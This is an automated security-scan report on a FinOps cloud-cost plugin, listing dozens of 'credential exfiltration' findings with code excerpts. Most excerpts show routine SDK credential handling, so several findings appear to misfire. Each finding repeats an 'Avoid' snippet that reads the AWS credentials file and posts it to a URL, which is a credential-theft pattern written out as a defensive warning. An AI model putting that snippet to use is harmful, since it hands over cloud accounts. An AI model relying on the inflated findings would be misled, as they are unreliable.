Finopsmcp— plugin

Finopsmcp — independently scanned and version-tracked by SaferSkills.

by chaandannn·Plugin·github.com/chaandannn/finopsmcp

Is Finopsmcp safe to install?

SaferSkills independently audited Finopsmcp (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 265 high-severity and 4 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
●●○○○○○○○○
Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings4 warnings · 265 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 269 flagged

Securityscore 0 · 269 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · scripts/demo_all_normalized.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "A…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptscripts/demo_all_normalized.py· python
34# Shadow every provider credential the connectors look for. Dummy values only.
35_SHADOW = [
36"AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN", "AWS_PROFILE",
37"AZURE_CLIENT_ID", "AZURE_CLIENT_SECRET", "AZURE_TENANT_ID", "AZURE_SUBSCRIPTION_ID",
38"GOOGLE_APPLICATION_CREDENTIALS", "GCP_SERVICE_ACCOUNT_KEY_PATH", "GCP_BILLING_ACCOUNT_IDS",
Occurrences
3 occurrences · first at L36, also L36, L36
Show all 3 locations
Line
File
L36
scripts/demo_all_normalized.py
L36
scripts/demo_all_normalized.py
L36
scripts/demo_all_normalized.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/accounts.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/accounts.py· python
175creds = resp["Credentials"]
176return boto3.Session(
177aws_access_key_id=creds["AccessKeyId"],
178aws_secret_access_key=creds["SecretAccessKey"],
179aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L177, also L178, L179
Show all 3 locations
Line
File
L177
src/finops/accounts.py
L178
src/finops/accounts.py
L179
src/finops/accounts.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/ambient.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (which resolves the whole default chain: env vars…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/ambient.py· python
2 
3nable was AWS-first by accident, not by design. AWS asked boto3 for credentials,
4which resolves the whole default chain: env vars, ~/.aws/credentials, named
5profiles, SSO, IMDS, ECS task roles. Azure asked only whether three service
6principal env vars were set. GCP asked only whether GOOGLE_APPLICATION_CREDENTIALS
Occurrences
2 occurrences · first at L4, also L11
Show all 2 locations
Line
File
L4
src/finops/ambient.py
L11
src/finops/ambient.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/analyzers/optimizer.py×4
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ((env vars → ~/.aws/credentials → instance profil…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/analyzers/optimizer.py· python
61- If role_arn is provided, assume that role
62- Otherwise fall through boto3's default chain
63(env vars → ~/.aws/credentials → instance profile)
64"""
65import boto3
Occurrences
4 occurrences · first at L63, also L75, L76 +1 more
Show all 4 locations
Line
File
L63
src/finops/analyzers/optimizer.py
L75
src/finops/analyzers/optimizer.py
L76
src/finops/analyzers/optimizer.py
L77
src/finops/analyzers/optimizer.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/attribution/fetcher.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/attribution/fetcher.py· python
35ce = boto3.client(
36"ce",
37aws_access_key_id=creds["AccessKeyId"],
38aws_secret_access_key=creds["SecretAccessKey"],
39aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L37, also L38, L39
Show all 3 locations
Line
File
L37
src/finops/attribution/fetcher.py
L38
src/finops/attribution/fetcher.py
L39
src/finops/attribution/fetcher.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/cli_commitments.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (" looked in: env vars, ~/.aws/credentials, ~/.a…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/cli_commitments.py· python
456no_creds = [
457"no AWS credentials found on this machine",
458" looked in: env vars, ~/.aws/credentials, ~/.aws/config (SSO), instance metadata",
459" fix: `aws configure sso` (company SSO) or `aws configure` (access key)",
460(" evaluating first? `nable commitments status --dry-run` lists every call and "
Occurrences
2 occurrences · first at L458, also L458
Show all 2 locations
Line
File
L458
src/finops/cli_commitments.py
L458
src/finops/cli_commitments.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/cli_scan.py×14
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (# AWS_ACCESS_KEY_ID exported is not "profile def…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/cli_scan.py· python
99# Where the credentials came from, in words, and the fix when AWS rejects them.
100# Env-var keys win over every profile in botocore's chain, so a scan run with
101# AWS_ACCESS_KEY_ID exported is not "profile default", whatever AWS_PROFILE says.
102_ENV_KEYS_LABEL = "credentials from AWS_ACCESS_KEY_ID in your environment"
103_ENV_KEYS_FIX = (" fix: replace AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY with a working
… (6 chars elided on L103)
Occurrences
14 occurrences · first at L101, also L102, L103 +11 more
Show all 14 locations
Line
File
L101
src/finops/cli_scan.py
L102
src/finops/cli_scan.py
L103
src/finops/cli_scan.py
L103
src/finops/cli_scan.py
L104
src/finops/cli_scan.py
L1078
src/finops/cli_scan.py
L1249
src/finops/cli_scan.py
L1249
src/finops/cli_scan.py
L1275
src/finops/cli_scan.py
L1275
src/finops/cli_scan.py
L1293
src/finops/cli_scan.py
L1293
src/finops/cli_scan.py
L1293
src/finops/cli_scan.py
L1338
src/finops/cli_scan.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connector_scopes.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (env=("AWS_ACCESS_KEY_ID", "AWS_PROFILE"),). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connector_scopes.py· python
84"Parameter Store, not in environment variables. Cost Explorer is "
85"not in the default set, so the default scan cannot spend your money.",
86env=("AWS_ACCESS_KEY_ID", "AWS_PROFILE"),
87),
88"azure": Scope(
Occurrences
1 occurrence · at L86
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws.py×5
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws.py· python
203region=_region, config=_cfg,
204reason="AWSConnector._make_client (assumed role)",
205aws_access_key_id=creds["AccessKeyId"],
206aws_secret_access_key=creds["SecretAccessKey"],
207aws_session_token=creds["SessionToken"],
Occurrences
5 occurrences · first at L205, also L206, L207 +2 more
Show all 5 locations
Line
File
L205
src/finops/connectors/aws.py
L206
src/finops/connectors/aws.py
L207
src/finops/connectors/aws.py
L381
src/finops/connectors/aws.py
L382
src/finops/connectors/aws.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_org.py×5
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (AWS_PROFILE / AWS_ACCESS_KEY_ID etc. — standard…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_org.py· python
17 
18Environment variables:
19AWS_PROFILE / AWS_ACCESS_KEY_ID etc. — standard AWS credentials
20FINOPS_ORG_ROLE_NAME — role to assume in member accounts
21(default: FinOpsReadOnly)
Occurrences
5 occurrences · first at L19, also L87, L88 +2 more
Show all 5 locations
Line
File
L19
src/finops/connectors/aws_org.py
L87
src/finops/connectors/aws_org.py
L88
src/finops/connectors/aws_org.py
L89
src/finops/connectors/aws_org.py
L120
src/finops/connectors/aws_org.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/bedrock.py×6
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/bedrock.py· python
21return boto3.client(
22"ce",
23aws_access_key_id=creds["AccessKeyId"],
24aws_secret_access_key=creds["SecretAccessKey"],
25aws_session_token=creds["SessionToken"],
Occurrences
6 occurrences · first at L23, also L24, L25 +3 more
Show all 6 locations
Line
File
L23
src/finops/connectors/aws_services/bedrock.py
L24
src/finops/connectors/aws_services/bedrock.py
L25
src/finops/connectors/aws_services/bedrock.py
L38
src/finops/connectors/aws_services/bedrock.py
L39
src/finops/connectors/aws_services/bedrock.py
L40
src/finops/connectors/aws_services/bedrock.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/documentdb.py×6
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/documentdb.py· python
21return boto3.client(
22"ce",
23aws_access_key_id=creds["AccessKeyId"],
24aws_secret_access_key=creds["SecretAccessKey"],
25aws_session_token=creds["SessionToken"],
Occurrences
6 occurrences · first at L23, also L24, L25 +3 more
Show all 6 locations
Line
File
L23
src/finops/connectors/aws_services/documentdb.py
L24
src/finops/connectors/aws_services/documentdb.py
L25
src/finops/connectors/aws_services/documentdb.py
L38
src/finops/connectors/aws_services/documentdb.py
L39
src/finops/connectors/aws_services/documentdb.py
L40
src/finops/connectors/aws_services/documentdb.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/kendra.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/kendra.py· python
46creds = sts.assume_role(RoleArn=role_arn, RoleSessionName="finops-kendra")["Credentials"]
47return boto3.Session(
48aws_access_key_id=creds["AccessKeyId"],
49aws_secret_access_key=creds["SecretAccessKey"],
50aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L48, also L49, L50
Show all 3 locations
Line
File
L48
src/finops/connectors/aws_services/kendra.py
L49
src/finops/connectors/aws_services/kendra.py
L50
src/finops/connectors/aws_services/kendra.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/marketplace.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/marketplace.py· python
20return boto3.client(
21"ce",
22aws_access_key_id=creds["AccessKeyId"],
23aws_secret_access_key=creds["SecretAccessKey"],
24aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L22, also L23, L24
Show all 3 locations
Line
File
L22
src/finops/connectors/aws_services/marketplace.py
L23
src/finops/connectors/aws_services/marketplace.py
L24
src/finops/connectors/aws_services/marketplace.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/connectors/aws_services/textract.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/connectors/aws_services/textract.py· python
20return boto3.client(
21"ce",
22aws_access_key_id=creds["AccessKeyId"],
23aws_secret_access_key=creds["SecretAccessKey"],
24aws_session_token=creds["SessionToken"],
Occurrences
3 occurrences · first at L22, also L23, L24
Show all 3 locations
Line
File
L22
src/finops/connectors/aws_services/textract.py
L23
src/finops/connectors/aws_services/textract.py
L24
src/finops/connectors/aws_services/textract.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/demo_data.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (# under AWS_ACCESS_KEY_ID / AWS_ROLE_ARNS, Azure…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/demo_data.py· python
43 
44# Vault keys that mean a real cloud provider has been connected. setup stores AWS
45# under AWS_ACCESS_KEY_ID / AWS_ROLE_ARNS, Azure and GCP under theirs. If any is
46# present, the user connected a real account, so demo data must step aside.
47_PROVIDER_CRED_KEYS = (
Occurrences
2 occurrences · first at L45, also L48
Show all 2 locations
Line
File
L45
src/finops/demo_data.py
L48
src/finops/demo_data.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/doctor.py×6
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_SECRET_ACCESS_KEY",). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/doctor.py· python
71when sensitive credentials sit in plain environment variables."""
72sensitive_env_keys = [
73"AWS_SECRET_ACCESS_KEY",
74"AZURE_CLIENT_SECRET",
75"GOOGLE_APPLICATION_CREDENTIALS",
Occurrences
6 occurrences · first at L73, also L166, L171 +3 more
Show all 6 locations
Line
File
L73
src/finops/doctor.py
L166
src/finops/doctor.py
L171
src/finops/doctor.py
L172
src/finops/doctor.py
L172
src/finops/doctor.py
L173
src/finops/doctor.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761e…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/guard_ledger.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (credential (`AWS_SECRET_ACCESS_KEY=... terraform…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/guard_ledger.py· python
23 
24Commands are stored as a redacted summary. An agent's shell line can carry a
25credential (`AWS_SECRET_ACCESS_KEY=... terraform apply`, a bearer token in a
26curl, a password flag), and an audit log is exactly the file that gets shared
27with the people who should never see one. redact() errs toward removing too
Occurrences
3 occurrences · first at L25, also L141, L146
Show all 3 locations
Line
File
L25
src/finops/guard_ledger.py
L141
src/finops/guard_ledger.py
L146
src/finops/guard_ledger.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761e…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/guard_org.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (_CREDS_VARS = ("AWS_ACCESS_KEY_ID", "AWS_SESSION…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/guard_org.py· python
59# What makes the AWS CLI use credentials or profiles other than the profile
60# named: keys in the environment, or another config or credentials file.
61_CREDS_VARS = ("AWS_ACCESS_KEY_ID", "AWS_SESSION_TOKEN", "AWS_ROLE_ARN",
62"AWS_WEB_IDENTITY_TOKEN_FILE", "AWS_CONFIG_FILE", "AWS_SHARED_CREDENTIALS_FILE",
63"AWS_CONTAINER_CREDENTIALS_RELATIVE_URI", "AWS_CONTAINER_CREDENTIALS_FULL_URI")
Occurrences
2 occurrences · first at L61, also L61
Show all 2 locations
Line
File
L61
src/finops/guard_org.py
L61
src/finops/guard_org.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
